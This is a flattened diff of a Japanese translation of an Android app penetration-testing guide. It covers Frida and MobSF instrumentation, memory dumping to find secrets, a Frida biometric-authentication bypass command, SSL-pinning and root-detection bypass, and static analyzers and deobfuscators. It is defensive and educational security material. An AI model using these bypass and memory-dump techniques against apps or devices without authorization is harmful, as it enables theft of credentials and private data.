アプリケーション内で一般的なWeb脆弱性を検索することも重要です。これらの脆弱性を特定し、軽減するための詳細情報はこの要約の範囲を超えていますが、他の場所で広範にカバーされています。 アプリケーション内で一般的なWeb脆弱性を検索することも重要です。これらの脆弱性を特定し、軽減するための詳細情報はこの要約の範囲を超えていますが、他の場所で広範にカバーされています。
### Frida ### Frida
@ -441,12 +445,12 @@ Androidアプリケーションをペンテストするには、Fridaの使い
- Fridaの使い方を学ぶ[**Fridaチュートリアル**](frida-tutorial/index.html) - Fridaの使い方を学ぶ[**Fridaチュートリアル**](frida-tutorial/index.html)
- Fridaでのアクション用の「GUI」[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Fridaでのアクション用の「GUI」[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- OjectionはFridaの使用を自動化するのに最適です[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - OjectionはFridaの使用を自動化するのに最適です[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- ここで素晴らしいFridaスクリプトを見つけることができます[**https://codeshare.frida.re/**](https://codeshare.frida.re) - ここでいくつかの素晴らしいFridaスクリプトを見つけることができます[**https://codeshare.frida.re/**](https://codeshare.frida.re)
- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)に示されているようにFridaを読み込んで、アンチデバッグ/アンチFridaメカニズムをバイパスしてみてください(ツール[linjector](https://github.com/erfur/linjector-rs))。 - [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)に示されているようにFridaを読み込んで、アンチデバッグ/アンチFridaメカニズムをバイパスすることを試みてください(ツール[linjector](https://github.com/erfur/linjector-rs))。
### **メモリダンプ - Fridump** ### **メモリダンプ - Fridump**
アプリケーションがパスワードやニーモニックのような機密情報を保存していないか確認してください アプリケーションがパスワードやニーモニックなど、保存すべきでない機密情報をメモリ内に保存しているかどうかを確認します
[**Fridump3**](https://github.com/rootbsd/fridump3)を使用して、アプリのメモリをダンプできます: [**Fridump3**](https://github.com/rootbsd/fridump3)を使用して、アプリのメモリをダンプできます:
```bash ```bash
@ -463,7 +467,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
``` ```
### **Keystore内の機密データ** ### **Keystore内の機密データ**
Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、十分な権限があれば**アクセスすることが可能です**。アプリケーションはここに**平文で機密データを保存する傾向があるため**、ペンテストはそれを確認する必要があります。ルートユーザーやデバイスに物理的にアクセスできる誰かがこのデータを盗む可能性があります Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、十分な権限があれば**アクセスすることが可能です**。アプリケーションはここに**平文で機密データを保存する傾向があるため**、ペンテストはルートユーザーとしてこれを確認する必要があります。さもなければ、物理的にデバイスにアクセスできる誰かがこのデータを盗むことができるかもしれません
アプリがKeystoreにデータを保存していても、そのデータは暗号化されているべきです。 アプリがKeystoreにデータを保存していても、そのデータは暗号化されているべきです。
@ -479,13 +483,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
``` ```
### **バックグラウンド画像** ### **バックグラウンド画像**
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときに、アプリが読み込まれる前に画像が読み込まれ、アプリがより早く読み込まれたように見えます。 アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときにアプリがより早く読み込まれているように見えます。
しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる誰かがその情報を**盗む**可能性があります(アクセスするにはルート権限が必要です)。 しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる誰かがその情報を**盗む**可能性があります(アクセスするにはルート権限が必要です)。
スナップショットは通常、次の場所に保存されます: **`/data/system_ce/0/snapshots`** スナップショットは通常、次の場所に保存されます: **`/data/system_ce/0/snapshots`**
Androidは、FLAG_SECUREレイアウトパラメータを設定することで**スクリーンショットのキャプチャを防ぐ**方法を提供します。このフラグを使用すると、ウィンドウの内容は安全と見なされ、スクリーンショットに表示されたり、非安全なディスプレイで表示されたりするを防ぎます。 Androidは、FLAG_SECUREレイアウトパラメータを設定することで**スクリーンショットのキャプチャを防ぐ**方法を提供します。このフラグを使用すると、ウィンドウの内容は安全と見なされ、スクリーンショットに表示されたり、非安全なディスプレイで表示されたりすることを防ぎます。
```bash ```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
``` ```
@ -502,7 +506,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
### Essential Takeaways ### Essential Takeaways
- **Intent Injection**は、ウェブのオープンリダイレクト問題に似ています。 - **Intent Injection**は、ウェブのオープンリダイレクト問題に似ています。
- 脆弱性は、`Intent`オブジェクトをエクストラとして渡すことに関与し、これがリダイレクトされて安全でない操作を実行する可能性があります。 - 脆弱性は、`Intent`オブジェクトをエクストラとして渡すことに関与し、これが不正な操作を実行するためにリダイレクトされる可能性があります。
- 攻撃者に非エクスポートコンポーネントやコンテンツプロバイダーを露出させる可能性があります。 - 攻撃者に非エクスポートコンポーネントやコンテンツプロバイダーを露出させる可能性があります。
- `WebView`のURLから`Intent`への変換は、意図しないアクションを促進する可能性があります。 - `WebView`のURLから`Intent`への変換は、意図しないアクションを促進する可能性があります。
@ -539,9 +543,9 @@ MobSFは**diff/Compare**分析を行い、**VirusTotal**を統合することも
### MobSFによる支援された動的分析 ### MobSFによる支援された動的分析
**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要がありますVMやDockerでは動作しません。_注: **まずgenymotionでVMを起動し**、**その後MobSFを起動する必要があります。**_\ **MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要がありますVMやDockerでは動作しません。_注: **まずgenymotionでVMを起動し**、**その後MobSFを起動する必要があります。**_\
**MobSF動的アナライザー**は以下を行うことができます: **MobSF動的アナライザー**は以下ことができます:
- **アプリケーションデータをダンプ**URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル。これらはすべて自動的に行われますが、スクリーンショットはあなたが撮りたいときにボタンを押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するために"**Exported Activity Tester**"を押す必要があります。 - **アプリケーションデータをダンプ**URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル。これらはすべて自動的に行われますが、スクリーンショットは撮りたいときにボタンを押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するために"**Exported Activity Tester**"を押す必要があります。
- **HTTPSトラフィックをキャプチャ** - **HTTPSトラフィックをキャプチャ**
- **Frida**を使用して**ランタイム**の**情報**を取得 - **Frida**を使用して**ランタイム**の**情報**を取得
@ -552,21 +556,21 @@ Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し
デフォルトでは、SSLピンニング、**ルート検出**、**デバッガ検出**を**バイパス**し、**興味深いAPI**を**監視**するためにいくつかのFridaスクリプトを使用します。\ デフォルトでは、SSLピンニング、**ルート検出**、**デバッガ検出**を**バイパス**し、**興味深いAPI**を**監視**するためにいくつかのFridaスクリプトを使用します。\
MobSFはまた、**エクスポートされたアクティビティを呼び出し**、それらの**スクリーンショットを取得**し、レポート用に**保存**することもできます。 MobSFはまた、**エクスポートされたアクティビティを呼び出し**、それらの**スクリーンショットを取得**し、レポート用に**保存**することもできます。
動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すと、Fridaスクリプトによって生成されたログを見ることができ、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値を見ることができます(これは"Start Instrumentation"を押した後に表示されます)。\ 動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すと、Fridaスクリプトによって生成されたログが表示され、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値が表示されます(これは"Start Instrumentation"を押した後に表示されます)。\
MobSFはあなた自身の**Fridaスクリプト**を読み込むこともできますFridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`さらに追加できます)、ただ**選択し**、"**Load**"を押し、"**Start Instrumentation**"を押すだけです(そのスクリプトのログは"**Frida Live Logs**"内で見ることができます MobSFは、独自の**Fridaスクリプト**を読み込むこともできますFridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`追加できます)。ただ**選択し**、"**Load**"を押し、"**Start Instrumentation**"を押すと、そのスクリプトのログを"**Frida Live Logs**"内で見ることができます。
![](<../../images/image (419).png>) ![](<../../images/image (419).png>)
さらに、いくつかの補助的なFrida機能があります さらに、いくつかの補助的なFrida機能があります
- **読み込まれたクラスを列挙**: すべての読み込まれたクラスを印刷します - **読み込まれたクラスを列挙**: すべての読み込まれたクラスを表示します
- **文字列をキャプチャ**: アプリケーションを使用中にキャプチャされたすべての文字列を印刷します(非常にノイジーです) - **文字列をキャプチャ**: アプリケーションを使用中にキャプチャされたすべての文字列を表示します(非常にノイジーです)
- **文字列比較をキャプチャ**: 非常に役立つ可能性があります。**比較されている2つの文字列**と、結果がTrueかFalseかを**表示**します。 - **文字列比較をキャプチャ**: 非常に役立つ可能性があります。**比較されている2つの文字列**と、結果がTrueかFalseかを**表示**します。
- **クラスメソッドを列挙**: クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドを印刷します。 - **クラスメソッドを列挙**: クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドが表示されます。
- **クラスパターンを検索**: パターンでクラスを検索します - **クラスパターンを検索**: パターンでクラスを検索
- **クラスメソッドをトレース**: **クラス全体をトレース**します(そのクラスのすべてのメソッドの入力と出力を確認します。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。 - **クラスメソッドをトレース**: **クラス全体をトレース**そのクラスのすべてのメソッドの入力と出力を確認。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。
使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押す必要があり、すべての出力は"**Frida Live Logs**"に表示されます。 使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押すと、すべての出力が"**Frida Live Logs**"に表示されます。
**Shell** **Shell**
@ -581,10 +585,10 @@ receivers
``` ```
**HTTPツール** **HTTPツール**
HTTPトラフィックがキャプチャされると、キャプチャされたトラフィックの醜いビューが「**HTTP(S) Traffic**」の下部に表示されるか、「**Start HTTPTools**」の緑のボタンでより良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**を**プロキシ**BurpやOwasp ZAPなどに**送信**できます。\ HTTPトラフィックがキャプチャされると、"**HTTP(S) Traffic**"の下にキャプチャされたトラフィックの醜いビューが表示されるか、"**Start HTTPTools**"の緑のボタンでより良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**を**プロキシ**BurpやOwasp ZAPなどに**送信**できます。\
そのためには、_Burpを起動 -->_ _インターセプトをオフにする --> MobSBのHTTPToolsでリクエストを選択_ --> 「**Send to Fuzzer**」を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。 そのためには、_Burpを起動 -->_ _インターセプトをオフにする --> MobSBのHTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
MobSFで動的分析が終了したら、「**Start Web API Fuzzer**」を押して**HTTPリクエストをファズ**し、脆弱性を探します。 MobSFで動的分析が終了したら、"**Start Web API Fuzzer**"を押して**HTTPリクエストをファズ**し、脆弱性を探します。
> [!TIP] > [!TIP]
> MobSFで動的分析を実行した後、プロキシ設定が誤って構成される可能性があり、GUIから修正できなくなることがあります。プロキシ設定を修正するには、次のコマンドを実行します > MobSFで動的分析を実行した後、プロキシ設定が誤って構成される可能性があり、GUIから修正できなくなることがあります。プロキシ設定を修正するには、次のコマンドを実行します
@ -606,7 +610,7 @@ MobSFで動的分析が終了したら、「**Start Web API Fuzzer**」を押し
### [Qark](https://github.com/linkedin/qark) ### [Qark](https://github.com/linkedin/qark)
このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための「Proof-of-Concept」デプロイ可能APKおよび**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。 このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための**「Proof-of-Concept」デプロイ可能APK**と**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。
```bash ```bash
pip3 install --user qark # --user is only needed if not using a virtualenv pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk qark --apk path/to/my.apk
@ -626,9 +630,9 @@ reverse-apk relative/path/to/APP.apk
``` ```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、脆弱性を探すために_.apk_ファイルを分析します。これは、APKを解凍し、一連のルールを適用して脆弱性を検出することによって行われます。 SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、脆弱性を探すために_.apk_ファイルを分析します。これは、APKを解凍し、脆弱性を検出するための一連のルールを適用することによって行われます。
すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちが必要とする分析のため独自のルールを作成できます。 すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちが必要とする分析のため独自のルールを作成できます。
最新のバイナリは[ダウンロードページ](https://superanalyzer.rocks/download.html)からダウンロードしてください。 最新のバイナリは[ダウンロードページ](https://superanalyzer.rocks/download.html)からダウンロードしてください。
``` ```
@ -642,13 +646,13 @@ StaCoAnは、開発者、バグバウンティハンター、倫理的ハッカ
このコンセプトは、モバイルアプリケーションファイル(.apkまたは.ipaファイルをStaCoAnアプリケーションにドラッグアンドドロップすると、視覚的でポータブルなレポートが生成されるというものです。設定やワードリストを調整して、カスタマイズされた体験を得ることができます。 このコンセプトは、モバイルアプリケーションファイル(.apkまたは.ipaファイルをStaCoAnアプリケーションにドラッグアンドドロップすると、視覚的でポータブルなレポートが生成されるというものです。設定やワードリストを調整して、カスタマイズされた体験を得ることができます。
ダウンロード[最新リリース](https://github.com/vincentcox/StaCoAn/releases): [最新リリース](https://github.com/vincentcox/StaCoAn/releases)をダウンロード:
``` ```
./stacoan ./stacoan
``` ```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Frameworkは、Androidアプリケーションの潜在的なセキュリティ脆弱性を開発者やハッカーが見つけるのを助けるAndroid脆弱性分析システムです。\ AndroBugs Frameworkは、開発者やハッカーがAndroidアプリケーションの潜在的なセキュリティ脆弱性を見つけるのを助けるAndroid脆弱性分析システムです。\
[Windowsリリース](https://github.com/AndroBugs/AndroBugs_Framework/releases) [Windowsリリース](https://github.com/AndroBugs/AndroBugs_Framework/releases)
``` ```
python androbugs.py -f [APK file] python androbugs.py -f [APK file]
@ -660,7 +664,7 @@ androbugs.exe -f [APK file]
検出は、アプリケーションのDalvikバイトコードの**静的分析**を使用して行われ、**Smali**として表現されます。[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。 検出は、アプリケーションのDalvikバイトコードの**静的分析**を使用して行われ、**Smali**として表現されます。[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。
このツールは、次のような**「悪い」アプリケーションの一般的な動作**を探します: テレフォニー識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行... このツールは、次のような**「悪い」アプリケーションの一般的な動作**を探します: テレフォニー識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行...
``` ```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
``` ```
@ -668,7 +672,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>) ![](<../../images/image (595).png>)
**MARA**は**モバイルアプリケーションの逆アセンブルおよび分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆アセンブルおよび分析ツールをまとめたツールです。このタスクをモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることを目的としています。 **MARA**は**モバイルアプリケーションの逆アセンブルおよび分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆アセンブルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることす。
以下のことが可能です: 以下のことが可能です:
@ -681,15 +685,15 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
### Koodous ### Koodous
マルウェアを検出するのに役立ちます[https://koodous.com/](https://koodous.com) マルウェアを検出するのに役立ちます: [https://koodous.com/](https://koodous.com)
## コードの難読化/デオブフスケート ## コードのオブフスケーション/デオブフスケーション
使用するサービスと設定によって、コードを難読化する際に秘密が難読化される場合とされない場合があります。 使用するサービスと構成によって、コードをオブフスケートする際に秘密がオブフスケートされる場合とされない場合があります。
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>) ### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
[Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>より)**ProGuard**は、Javaコードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardはフリーソフトウェアで、GNU一般公衆ライセンス第2版の下で配布されています。 [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>より): **ProGuard**は、Javaコードを縮小、最適化、オブフスケートするオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardはフリーソフトウェアで、GNU一般公衆ライセンス第2版の下で配布されています。
ProGuardはAndroid SDKの一部として配布され、アプリケーションをリリースモードでビルドする際に実行されます。 ProGuardはAndroid SDKの一部として配布され、アプリケーションをリリースモードでビルドする際に実行されます。
@ -699,17 +703,17 @@ APKをデオブフスケートするためのステップバイステップガ
そのガイドから最後に確認したとき、Dexguardの動作モードは次のとおりでした そのガイドから最後に確認したとき、Dexguardの動作モードは次のとおりでした
- リソースをInputStreamとして読み込む - リソースをInputStreamとして読み込む;
- 結果をFilterInputStreamから継承したクラスに渡して復号化する - 結果をFilterInputStreamから継承したクラスに渡して復号化する;
- リバースエンジニアに数分の時間を無駄にさせるために無駄な難読化を行う; - リバースエンジニアに数分の時間を無駄にさせるために無駄なオブフスケーションを行う;
- 復号化された結果をZipInputStreamに渡してDEXファイルを取得する - 復号化された結果をZipInputStreamに渡してDEXファイルを取得する;
- 最後に、`loadDex`メソッドを使用して結果のDEXをリソースとして読み込む。 - 最後に、`loadDex`メソッドを使用して結果のDEXをリソースとして読み込む。
### [DeGuard](http://apk-deguard.com) ### [DeGuard](http://apk-deguard.com)
**DeGuardは、Androidの難読化ツールによって行われた難読化プロセスを逆転させます。これにより、コード検査やライブラリの予測など、数多くのセキュリティ分析が可能になります。** **DeGuardは、Androidオブフスケーションツールによって実行されるオブフスケーションのプロセスを逆転させます。これにより、コード検査やライブラリの予測を含む多数のセキュリティ分析が可能になります。**
難読化されたAPKを彼らのプラットフォームにアップロードできます。 オブフスケートされたAPKを彼らのプラットフォームにアップロードできます。
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app) ### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
@ -717,15 +721,15 @@ APKをデオブフスケートするためのステップバイステップガ
### [Simplify](https://github.com/CalebFenton/simplify) ### [Simplify](https://github.com/CalebFenton/simplify)
これは**汎用のAndroidデオブフスケーター**です。Simplifyは**アプリを仮想的に実行**してその動作を理解し、その後**コードを最適化しようとします**。最適化の各タイプはシンプルで一般的であるため、使用される特定の難読化のタイプは関係ありません。 これは**一般的なAndroidデオブフスケーター**です。Simplifyは**アプリを仮想的に実行**してその動作を理解し、その後**コードを最適化しようとします**。最適化されたコードは同じ動作をしますが、人間にとって理解しやすくなります。各最適化タイプはシンプルで一般的であるため、使用されるオブフスケーションの具体的なタイプは関係ありません。
### [APKiD](https://github.com/rednaga/APKiD) ### [APKiD](https://github.com/rednaga/APKiD)
APKiDは**APKがどのように作成されたか**に関する情報を提供します。多くの**コンパイラ**、**パッカー**、**難読化ツール**、およびその他の奇妙なものを特定します。これはAndroid用の[_PEiD_](https://www.aldeid.com/wiki/PEiD)です。 APKiDは**APKがどのように作成されたか**に関する情報を提供します。多くの**コンパイラ**、**パッカー**、**オブフスケーター**、およびその他の奇妙なものを特定します。これはAndroid用の[_PEiD_](https://www.aldeid.com/wiki/PEiD)です。
### マニュアル ### マニュアル
[カスタム難読化を逆アセンブルする方法に関するいくつかのトリックを学ぶためにこのチュートリアルを読んでください](manual-deobfuscation.md) [カスタムオブフスケーションを逆アセンブルする方法に関するいくつかのトリックを学ぶためにこのチュートリアルを読んでください](manual-deobfuscation.md)
## ラボ ## ラボ